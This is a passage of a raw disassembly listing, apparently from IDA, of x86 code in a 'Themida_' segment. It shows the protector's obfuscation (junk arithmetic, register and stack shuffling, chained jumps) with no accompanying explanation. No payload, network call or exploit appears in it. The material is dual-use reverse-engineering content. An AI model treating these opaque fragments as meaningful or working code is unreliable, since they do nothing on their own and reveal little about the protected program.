mov esi, 1 sub ecx, esi pop esi xor esi, ecx jmp loc_56510D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5627E8: ; CODE XREF: Themida_:005627C3j pop edx jmp loc_56A7B9 ; --------------------------------------------------------------------------- loc_5627EE: ; CODE XREF: Themida_:0056372Ej mov [esp], ebp push ebx push eax mov eax, 8377D23h mov ebx, 5BF2F27Dh add ebx, eax pop eax mov ebp, 3199C88h add ebp, ebx mov ebx, [esp] add esp, 4 sub eax, ebp pop ebp push dword ptr [esp] pop ecx jmp loc_565C63 ; --------------------------------------------------------------------------- loc_562819: ; CODE XREF: Themida_:005603AAj and ecx, 7AF84BD4h xor ecx, 12756C08h push ebp push eax mov eax, 7E15517Ch jmp loc_56B029 ; --------------------------------------------------------------------------- loc_562831: ; CODE XREF: Themida_:0055BAE2j sub eax, ecx jmp loc_560FC8 ; --------------------------------------------------------------------------- loc_562838: ; CODE XREF: Themida_:0056ABBDj push 4D94h mov [esp], edx mov edx, 4 add ebp, 61E96CB3h add ebp, edx sub ebp, 61E96CB3h pop edx jmp loc_56D238 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_562859: ; CODE XREF: sub_56E89A-421Cj add ebp, 4 push ebp push [esp+14h+var_10] jmp loc_56A993 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_562866: ; CODE XREF: Themida_:00569EFDj sub ecx, 0F204463h mov eax, [esp] jmp loc_57051F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DD27 loc_562874: ; CODE XREF: sub_55DD27+25j sub ebx, eax pop eax add ebp, ebx jmp loc_565902 ; END OF FUNCTION CHUNK FOR sub_55DD27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_56287E: ; CODE XREF: sub_560483+AAD5j add esi, 4F342A36h sub ebx, esi pop esi jmp loc_56624E ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56288C: ; CODE XREF: sub_5635DE+33j mov ebx, 68C222ADh xor edx, ebx pop ebx or ecx, ecx jz loc_5686C7 push ecx mov ecx, esp push ebx push esi mov esi, 2DB97C6Ch mov ebx, esi pop esi neg ebx xor ebx, 6FAD343Dh and ebx, 75C50B95h jmp loc_568D8D ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- loc_5628BC: ; CODE XREF: Themida_:0056A829j push edi mov edi, 7E787E06h add edi, 2A550EC7h shl edi, 3 xor edi, 47B56E3h jmp loc_56AEAB ; --------------------------------------------------------------------------- loc_5628D6: ; CODE XREF: Themida_:0055E9B6j push edi sub esp, 4 mov [esp], eax mov eax, 4E0C79BFh push edx mov edx, 684B61BFh and eax, edx jmp loc_5649A9 ; --------------------------------------------------------------------------- loc_5628F2: ; CODE XREF: Themida_:00564556j push 4F50h mov [esp], esi jmp loc_56F18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_5628FF: ; CODE XREF: sub_55FDEF-E0Aj add eax, esi pop esi pop esi jmp loc_56B021 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_562908: ; CODE XREF: Themida_:0056B20Fj add edi, esi pop esi push ebp mov ebp, esp add ebp, 4 push eax jmp loc_55CADE ; --------------------------------------------------------------------------- loc_56291A: ; CODE XREF: Themida_:0055BD30j add ecx, 4 jmp loc_567FB1 ; --------------------------------------------------------------------------- loc_562925: ; CODE XREF: Themida_:0055D460j push 62AAh jmp loc_55C199 ; --------------------------------------------------------------------------- loc_56292F: ; CODE XREF: Themida_:00562BB5j push eax sub esp, 4 mov [esp], ecx jmp loc_55F2E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56293B: ; CODE XREF: sub_56755A-393Fj xor edx, [esp+8+var_8] xor [esp+8+var_8], edx xor edx, [esp+8+var_8] jmp loc_55D42A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562949: ; CODE XREF: Themida_:005668E1j add esp, 4 sub ecx, 0D529E996h push edx mov edx, ecx mov esi, edx pop edx jmp loc_5681EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56295D: ; CODE XREF: sub_56755A+4256j mov ecx, [esp+8+var_8] add esp, 4 push small word ptr [eax] jmp loc_56E155 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_56296B: ; CODE XREF: sub_570668-7198j pop eax jmp loc_566362 ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_562971: ; CODE XREF: sub_55FE13+3j push eax mov al, 1Eh dec al xor al, 0FCh push bx mov bh, 55h add al, 0D7h sub al, bh sub al, 0D7h pop bx jmp loc_56450E ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_562989: ; CODE XREF: sub_56F7FC-27F4j mov ecx, 14B248Bh jmp loc_560AEF ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562993: ; CODE XREF: sub_56755A-30BFj xor ebx, ebp pop ebp xor eax, ebx pop ebx add ebp, eax jmp loc_563232 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5629A0: ; CODE XREF: Themida_:005632E9j push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] jmp loc_56DF97 ; --------------------------------------------------------------------------- loc_5629B3: ; CODE XREF: Themida_:00563408j add [esp+4], esi pop esi jmp loc_56F608 ; --------------------------------------------------------------------------- loc_5629BD: ; CODE XREF: Themida_:0056D3D1j mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5611CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_5629CE: ; CODE XREF: sub_55CD7B+273Aj pop edx jmp loc_55E0A3 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5629D4: ; CODE XREF: sub_56755A+9045j or eax, ebp jmp loc_56CE69 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5600E2 loc_5629DB: ; CODE XREF: sub_5600E2-9DFj sub ebx, eax sub ebx, 34954F51h sub ebx, 132E3109h mov eax, [esp+8+var_8] add esp, 4 jmp loc_56B0F7 ; END OF FUNCTION CHUNK FOR sub_5600E2 ; --------------------------------------------------------------------------- loc_5629F7: ; CODE XREF: Themida_:0056BF54j mov [esp], ebx mov ebx, 4 jmp loc_56AEDC ; --------------------------------------------------------------------------- loc_562A04: ; CODE XREF: Themida_:00570765j mov edi, 10351C3Ch add eax, edi pop edi sub eax, 4D75EDh sub eax, 296362CBh sub eax, 2C134C99h add eax, ebp jmp loc_56ABEE ; --------------------------------------------------------------------------- loc_562A22: ; CODE XREF: Themida_:0055E09Ej pop ebx pop dword ptr [esp] jmp loc_56A3F5 ; --------------------------------------------------------------------------- loc_562A2B: ; CODE XREF: Themida_:0056F424j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp jmp loc_55D218 ; --------------------------------------------------------------------------- loc_562A3A: ; CODE XREF: Themida_:0056579Dj add edi, eax jmp loc_560B6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562A41: ; CODE XREF: sub_56755A-565Fj pop cx xor bl, al push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_565307 ; --------------------------------------------------------------------------- loc_562A59: ; CODE XREF: sub_56755A-85F3j pop edi xchg ecx, [esp+24h+var_24] mov esp, [esp+24h+var_24] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_562A65: ; CODE XREF: sub_56755A+52C9j pop edi push edi mov edi, esp add edi, 4 jmp sub_5600E2 ; --------------------------------------------------------------------------- loc_562A74: ; CODE XREF: sub_56755A-B323j mov ecx, 32312457h push ebp jmp loc_55E0E9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_562A7F: ; CODE XREF: sub_56971C-6C53j add esp, 4 shr eax, 4 push esi push 0F9CF558Bh jmp loc_56CD1B ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562A90: ; CODE XREF: sub_56755A-AD7Dj neg ebx push ebp jmp loc_56E1A8 ; --------------------------------------------------------------------------- loc_562A98: ; CODE XREF: sub_56755A+9056j xchg eax, [esp-4+arg_0] jmp loc_56A1C8 ; --------------------------------------------------------------------------- loc_562AA0: ; CODE XREF: sub_56755A+11Fj add edi, 4 jmp loc_55F21E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562AAB: ; CODE XREF: Themida_:0056B749j pop ebx add edx, ecx pop ecx xor edx, 0CBAB98EBh add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55D993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_562AC6: ; CODE XREF: sub_56971C-4E38j mov edi, [esp+0Ch+var_C] jmp loc_562A7F ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_562ACE: ; CODE XREF: Themida_:00568503j xchg eax, [esp] pop esp sub al, cl mov cx, [esp] add esp, 2 add al, 0A2h sub esp, 4 mov [esp], ecx mov ch, 0F0h jmp loc_564BD3 ; --------------------------------------------------------------------------- loc_562AED: ; CODE XREF: Themida_:005630F8j push 4FD7h mov [esp], esi push edx push 1E441DBCh pop edx add edx, 1D5350B3h push ebx mov ebx, edx mov esi, ebx jmp loc_55F0AA ; --------------------------------------------------------------------------- loc_562B0C: ; CODE XREF: Themida_:0055CE0Ej pop dword ptr [esp] pop esp jmp loc_55EC9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_562B15: ; CODE XREF: sub_56E89A-31EBj pop ebp jmp loc_560E66 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_562B1B: ; CODE XREF: Themida_:0055EE11j sub ebp, 4 xchg ebp, [esp] jmp loc_564797 ; --------------------------------------------------------------------------- loc_562B29: ; CODE XREF: Themida_:0056D5D7j dec ebx xor ebx, 0C1D4B6Fh xor ebx, 9968BC5h sub ebp, ebx mov ebx, [esp] add esp, 4 add eax, ebp pop ebp add eax, ebp sub eax, 76833C4Fh mov ebp, [esp] add esp, 4 add ebx, eax jmp loc_561938 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562B5B: ; CODE XREF: sub_56755A-5870j pop edi push edi jmp loc_567701 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562B62: ; CODE XREF: Themida_:0055F61Bj pop ebp sub edi, 27972CBAh add edi, ecx add edi, 27972CBAh push 4E77h mov [esp], ecx jmp loc_569477 ; --------------------------------------------------------------------------- push 3245h mov [esp], edx jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562B8B: ; CODE XREF: sub_56755A-1BF0j and eax, 6B4D67B9h xor eax, 4B4D6612h jmp loc_55F246 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562B9A: ; CODE XREF: Themida_:005602F5j sub dword ptr [esp+8], 34355A24h add [esp+8], esi jmp loc_56CC88 ; --------------------------------------------------------------------------- loc_562BAB: ; CODE XREF: Themida_:00568BEBj xor al, bl push 53FFh mov [esp], ebx jmp loc_56292F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562BBA: ; CODE XREF: sub_56755A+1867j xor bh, 6Ah sub bh, 1 jmp loc_567523 ; --------------------------------------------------------------------------- loc_562BC5: ; CODE XREF: sub_56755A+16ABj add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp push eax mov eax, 1 sub esi, eax jmp loc_56ED97 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562BE2: ; CODE XREF: Themida_:0056E124j sub ecx, 59E829BAh neg ecx jmp loc_5652DE ; --------------------------------------------------------------------------- loc_562BEF: ; CODE XREF: Themida_:00565644j dec dword ptr [esp] not dword ptr [esp] pop edi not edi or edi, 409F3AF2h dec edi jmp loc_55EFF3 ; --------------------------------------------------------------------------- loc_562C04: ; CODE XREF: Themida_:00566446j pop esi shl ecx, 3 dec ecx add ecx, 3D99ACFEh jmp loc_562D61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562C14: ; CODE XREF: sub_56755A-5D0Fj pop ebx add eax, edx mov edx, [esp+0] jmp loc_55EDED ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_562C1F: ; CODE XREF: sub_55E931+3C19j push dword ptr [esp+0] jmp loc_56070A ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_562C27: ; CODE XREF: sub_565269+6j push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] jmp loc_569F5E ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_562C39: ; CODE XREF: sub_56CEC8-BC9Dj pop eax push edx sub esp, 4 mov [esp+8+var_8], ecx mov ch, bl mov dl, ch mov ecx, [esp+8+var_8] add esp, 4 push eax mov ah, dl push ebx mov bl, ah mov cl, bl pop ebx pop eax jmp loc_56EE2E ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; =============== S U B R O U T I N E ======================================= sub_562C5D proc near ; CODE XREF: sub_569496+3055j var_6 = dword ptr -6 arg_2 = dword ptr 6 ; FUNCTION CHUNK AT 0055E671 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055EB0A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00560019 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056647A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005664B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005684D2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C94F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E610 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056EB2C SIZE 00000016 BYTES push ebx push ax jmp loc_55EB0A sub_562C5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562C65: ; CODE XREF: sub_56755A-5C68j xor ebp, [esp-4+arg_0] xor [esp-4+arg_0], ebp xor ebp, [esp-4+arg_0] jmp loc_5702B4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F88 loc_562C73: ; CODE XREF: sub_562F88+Bj add [esp+8+var_8], 111A1AD4h pop ecx sub ecx, 111A1AD4h mov ebp, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp mov eax, ecx pop ecx mov esi, [esp+0] jmp loc_56879B ; END OF FUNCTION CHUNK FOR sub_562F88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562CA7: ; CODE XREF: sub_56755A-50B1j mov [esp+0Ch+var_C], edi push 4937h mov [esp+10h+var_10], ecx push 307F3B20h mov ecx, [esp+14h+var_14] push edi jmp loc_55D120 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562CC0: ; CODE XREF: Themida_:00561460j push 78E8h jmp loc_5604DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562CCA: ; CODE XREF: sub_56755A-265Dj add esp, 4 inc ebx shl ebx, 2 xor ebx, 9D8DFC06h jmp loc_560E5E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562CDC: ; CODE XREF: Themida_:0055C931j mov [esp], edi push 24CFh push ebp push esp pop ebp push edx mov edx, 1CB00D69h inc edx sub edx, 1CB00D66h add ebp, edx jmp loc_56AB92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562CFB: ; CODE XREF: sub_56755A-261Fj mov si, di mov edi, [esp+14h+var_14] add esp, 4 jmp loc_55CB91 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1C0 loc_562D0C: ; CODE XREF: sub_56E1C0-4BA3j add esp, 4 push ecx jmp sub_560FD7 ; END OF FUNCTION CHUNK FOR sub_56E1C0 ; --------------------------------------------------------------------------- loc_562D15: ; CODE XREF: Themida_:00569518j mov edx, 42E400FAh or esi, edx pop edx jmp loc_5633F0 ; --------------------------------------------------------------------------- loc_562D22: ; CODE XREF: Themida_:005642FFj sub ch, dh pop edx xor dh, ch push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp add al, dh mov edx, [esp] add esp, 4 sub al, bl sub esp, 2 mov [esp], dx mov dh, 36h sub al, dh pop dx push edx jmp loc_5613A7 ; --------------------------------------------------------------------------- loc_562D61: ; CODE XREF: Themida_:00562C0Fj or edx, ecx push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 0AE92F60h neg ebp sub ebp, 6EEC3893h jmp loc_560DAF ; --------------------------------------------------------------------------- loc_562D80: ; CODE XREF: Themida_:0055CAFCj push ebx mov ebx, 6D44C57h push edx mov edx, 57500969h and edx, 1E605997h push 725Dh mov [esp], ebp jmp loc_570324 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_562D9F: ; CODE XREF: sub_56E89A-21DDj add edx, 1D924EDBh pop eax jmp loc_562F11 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562DAB: ; CODE XREF: sub_56755A-328Dj and [edi+1Ch], ebp pop ebp jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562DB4: ; CODE XREF: Themida_:0056ACDEj push 4AC3h mov [esp], edx mov dl, 68h push ecx mov cl, 84h add cl, 1 jmp loc_56E448 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_562DC9: ; CODE XREF: sub_570668+7j neg edx push 41EFh mov [esp+0Ch+var_C], ebp mov ebp, 1C4B2E9Fh sub ebp, 0FFFFFFFFh add ebp, 2C7B4161h and edx, ebp jmp loc_568270 ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A468 loc_562DEB: ; CODE XREF: sub_56A468-7E0Aj push eax mov eax, 1AC200D9h jmp loc_567A70 ; END OF FUNCTION CHUNK FOR sub_56A468 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56250B loc_562DF6: ; CODE XREF: sub_56250B+22j push si jmp loc_56EC01 ; END OF FUNCTION CHUNK FOR sub_56250B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562DFD: ; CODE XREF: sub_56755A+751j mov edi, 54321C99h mov edx, 0BDDE4947h add edx, edi mov edi, [esp+0Ch+var_C] add esp, 4 shr edx, 3 shl edx, 6 add edx, 6F7CD104h jmp loc_5707AA ; --------------------------------------------------------------------------- loc_562E20: ; CODE XREF: sub_56755A+4593j pop esi sub esp, 4 mov [esp+8+var_8], ebp push eax mov eax, esp add eax, 4 jmp loc_55B664 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_562E37: ; CODE XREF: Themida_:0055D486j mov ecx, 4E5A375Fh sub ecx, 0E6CAC7EFh sub edx, ecx pop ecx pop ebp add edx, 38774652h add edx, 258C4A50h add edx, eax sub edx, 258C4A50h sub edx, 38774652h push 75E2h mov [esp], ebp push ebx push 6EF07E3Ah mov ebx, [esp] add esp, 4 mov ebp, ebx jmp loc_56754E ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx jmp loc_56385D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562E8D: ; CODE XREF: sub_56755A-3C00j push 1C57h jmp loc_56C122 ; --------------------------------------------------------------------------- loc_562E97: ; CODE XREF: sub_56755A+95Fj add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] jmp loc_56B05B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_562EA8: ; CODE XREF: sub_56D5AE-11E7Ej add [eax], ebx mov eax, [esp-4+arg_0] add esp, 4 mov ebx, [esp+0] jmp loc_55DF54 ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- mov ax, [esp] push 64ABh mov [esp], esi jmp loc_56E293 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_562ECC: ; CODE XREF: sub_56971C-5C33j sub ebx, 6DED278Bh sub ebx, 78BA3E4Dh xor ebx, 716CB8A9h sub eax, 65022CB6h sub eax, ebx jmp loc_5649BC ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562EEA: ; CODE XREF: sub_56755A-BB12j add ecx, 1062BB5h neg ecx jmp loc_5687EF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] push esi sub esp, 4 push esp pop dword ptr [esp] jmp loc_56B65C ; --------------------------------------------------------------------------- loc_562F08: ; CODE XREF: Themida_:00566F2Aj pop esp mov [esp], ebx jmp loc_56B543 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_562F11: ; CODE XREF: sub_56E89A-BAF4j push edx push ebx mov ebx, 3B95654Fh sub [esp+0Ch+var_8], ebx pop ebx pop esi sub esp, 4 mov [esp+8+var_8], ecx mov ecx, 4CAE5924h jmp loc_55E349 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_562F31: ; CODE XREF: sub_56CB7D-1192j push eax jmp loc_56C845 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- loc_562F37: ; CODE XREF: Themida_:00564BFAj mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_56AF78 ; =============== S U B R O U T I N E ======================================= sub_562F50 proc near ; CODE XREF: sub_56CB1B-5F1Ej var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055D75A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055D9A6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055F8BE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055FCE1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561993 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00562612 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565030 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005657C6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565830 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005667E4 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056698F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005686C1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568F8B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B10A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056F029 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056F6EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056F7A2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FFE8 SIZE 00000025 BYTES sub esp, 4 jmp loc_56F7A2 sub_562F50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_562F5B: ; CODE XREF: Themida_:0056CD5Bj xchg al, dh jmp loc_56072E ; =============== S U B R O U T I N E ======================================= sub_562F62 proc near ; CODE XREF: sub_56755A+302Fj var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055BBDB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055C51C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0055C573 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005613DB SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056527A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005670C0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056CA40 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056CECF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056E6FC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056FEDB SIZE 00000006 BYTES sub esp, 4 mov [esp+0], eax mov eax, 0 sub eax, edi mov edi, eax pop eax jmp loc_56FEDB sub_562F62 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov cx, [esp] push 241Bh jmp loc_56092A ; =============== S U B R O U T I N E ======================================= sub_562F88 proc near ; CODE XREF: sub_564356+4F9Ej var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560CF4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00562C73 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0056879B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005688BC SIZE 0000001C BYTES push ebp mov ebp, esi push 1919h mov [esp+8+var_8], ebp jmp loc_562C73 sub_562F88 endp ; --------------------------------------------------------------------------- loc_562F98: ; CODE XREF: Themida_:0055C463j push edx mov edx, 5BC0678Dh push 4DDA4B94h pop eax xor eax, edx pop edx dec eax and eax, 72A26CE0h jmp loc_566D44 ; =============== S U B R O U T I N E ======================================= sub_562FB2 proc near ; CODE XREF: sub_562F88-2283j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560946 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005644DD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F257 SIZE 0000000D BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 0 push 2B0Fh mov [esp+8+var_8], esi mov esi, 3B239DCh add eax, esi pop esi sub eax, edi sub eax, 3B239DCh push edx mov edx, eax mov edi, edx pop edx push [esp+4+var_4] pop eax add esp, 4 jmp loc_560946 sub_562FB2 endp ; --------------------------------------------------------------------------- loc_562FE9: ; CODE XREF: Themida_:0056A01Ej push esi mov esi, 70F12096h jmp loc_56AE31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_562FF4: ; CODE XREF: sub_55FDEF+874Dj mov esi, [esp+8+var_8] push ebx mov ebx, esp jmp loc_568B5A ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_562FFF: ; CODE XREF: sub_56755A-5189j mov edx, 87074BC9h xor esi, edx mov edx, [esp-10h+arg_C] jmp loc_56EAC3 ; --------------------------------------------------------------------------- loc_56300E: ; CODE XREF: sub_56755A+408j add edx, 42D46844h jmp loc_566EE6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563019: ; CODE XREF: Themida_:0056F4EFj xor cl, al pop eax push edx mov dh, 0EDh dec dh add dh, 0E1h jmp loc_5688F1 ; --------------------------------------------------------------------------- loc_563029: ; CODE XREF: Themida_:005651D1j sub esi, 0D96E53D9h add ebp, 63D3738Bh add ebp, esi jmp loc_55B8E0 ; --------------------------------------------------------------------------- loc_56303C: ; CODE XREF: Themida_:00566F19j add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp push ebx mov ebx, esp push eax mov eax, 5BBE3C82h jmp loc_56A9BC ; --------------------------------------------------------------------------- loc_563057: ; CODE XREF: Themida_:00561DFAj mov esi, esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_55FC9B ; --------------------------------------------------------------------------- loc_56306F: ; CODE XREF: Themida_:00564327j push edi jmp loc_5672B8 ; --------------------------------------------------------------------------- loc_563075: ; CODE XREF: Themida_:0055F2ADj push 1319h mov [esp], ecx mov ch, 0FAh jmp loc_5645CC ; --------------------------------------------------------------------------- loc_563084: ; CODE XREF: Themida_:0056EADEj pop ecx push ebx mov bl, 48h add al, bl pop ebx jmp loc_5676CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A9 loc_563090: ; CODE XREF: sub_5687A9+79A2j mov edx, [esp+8+var_8] add esp, 4 push ebx mov ebx, 1509443Ah and ebx, 64B82337h add ebx, 7101193Fh push ecx mov ecx, 40B103E9h xor ebx, ecx pop ecx not ebx 